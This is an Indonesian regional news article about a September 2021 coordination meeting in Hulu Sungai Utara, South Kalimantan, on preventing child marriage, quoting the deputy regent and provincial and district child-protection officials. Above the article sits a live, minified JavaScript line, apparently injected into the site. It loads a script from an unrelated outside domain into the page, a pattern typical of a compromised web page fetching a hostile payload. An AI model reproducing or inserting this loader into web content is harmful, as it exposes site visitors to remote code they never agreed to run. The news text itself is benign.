(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

Cegah Perkawinan Usia Anak, DPPPA HSU Gelar Rakor hingga Kades Ikut Hadir

KANALKALIMANTAN. COM, AMUNTAI – Dinas Pemberdayaan Perempuan dan Perlindungan Anak (DPPPA) Hulu Sungai Utara (HSU) menggelar rapat koordinasi bersama SKPD, Camat, forum anak hingga Kepala Desa, Kamis (30/9/2021). Pertemuan tersebut guna sosialisasi pencegahan perkawinan usia anak di HSU.

Rakor yang digelar di Gedung Agung lantai 2 ini, dihadiri Wakil Bupati Husairi Abdi, Kabid KHPK DPPPA Provinsi Kalsel Hj Titik Haryati, Ketua MUI HSU KH Said Masrawan, dan Wakil Ketua Pengadilan Agama Amuntai H Subhan.

Husairi Abdi mengatakan, kegiatan ini dimaksudkan untuk rencana aksi pencegahan perkawinan usia anak lebih efektif lagi. Terlebih di bawah monitoring DPPPA Provinsi Kalsel.

“Ini bulan pelarangan untuk menikahkan anak, tapi ini lebih kepada pernikahan yang sesuai dengan kejiwaan anak untuk betul-betul matang sehingga siap untuk menghadapi kehidupan berumah tangga,” kata Wabup Husairi.

Ia mengatakan, sepatutnya bagi anak yang hendak menuju jenjang perkawinan minimal sudah memiliki mental spiritualnya kuat, ditambah lagi kemampuan dan pendidikan yang layak.

Husaini berharap angka perkawinan usia anak di Kabupaten HSU dapat ditekan sehingga rumah tangga yang dibangun dapat damai dan bahagia.

“Apa yang kita dapat dari tahun ketahuan, jumlah perkawinan anak usia dini ini, diharapkan dapat kita tekan, masyarakat kita sadar akan usia edial perkawinan bagi anak, sehingga menghadapi rumah tangga dapat damai, sakinah mawaddah warahmah,” imbuhnya.

Sementara itu, Kabid KHPK DPPPA Provinsi Kalsel Hj Titik Haryati, menyebutkan tahun 2020 Kalsel berada di urutan ke-6 nasional terkait kondisi perkawinan usia anak. Sedangkan pada tahun 2019 menempati posisi pertama.

Ia berharap upaya penekanan angka perkawinan pada usia anak di Kalimantan Selatan nantinya semakin tahun dapat terus berlanjut termasuk di HSU.

“Kita harap penekanan perkawinan ini tidak hanya di tingkat kabupaten tetapi juga sampai ke tingkat desa,” ujarnya.

Guna menekan perkawinan usia anak, Titik Haryati juga berharap bisa dikurangi dengan berbagai kegiatan, pelatihan, kursus, keterampilan dan olahraga.

Senada dengan itu, Kepala DPPPA HSU. Hj Gusti Iskandariah menyebut pihaknya sejak tahun 2016 telah melaksanakan aksi-aksi pencegahan perkawinan usia anak hingga sekarang.

Aksi-aksi tersebut, kata Gusti dibarengi dengan membuat perjanjian kerja sama (MoU) bersama beberapa instansi terkait di antaranya dengan Kementerian Agama, Pengadilan Agama Kelas 1B Amuntai, Disdukcapil dan seluruh KUA yang ada di HSU tentang sistem data perkawinan anak.

“Dengan peran yang lebih baik lagi, Mudah-mudahan ini menjadi cikal-bakal bahwa kita telah melakukan aksi-aksi sebagainya, sehingga tinggal apa lagi yang perlu dilakukan HSU, sehingga dorongan tim pokja pencegahan perkawinan usia anak Provinsi Kalimantan selatan dapat dilakukan kita,” katanya. (kanalkalimantan.com/dew)

Reporter : dew
Editor : cell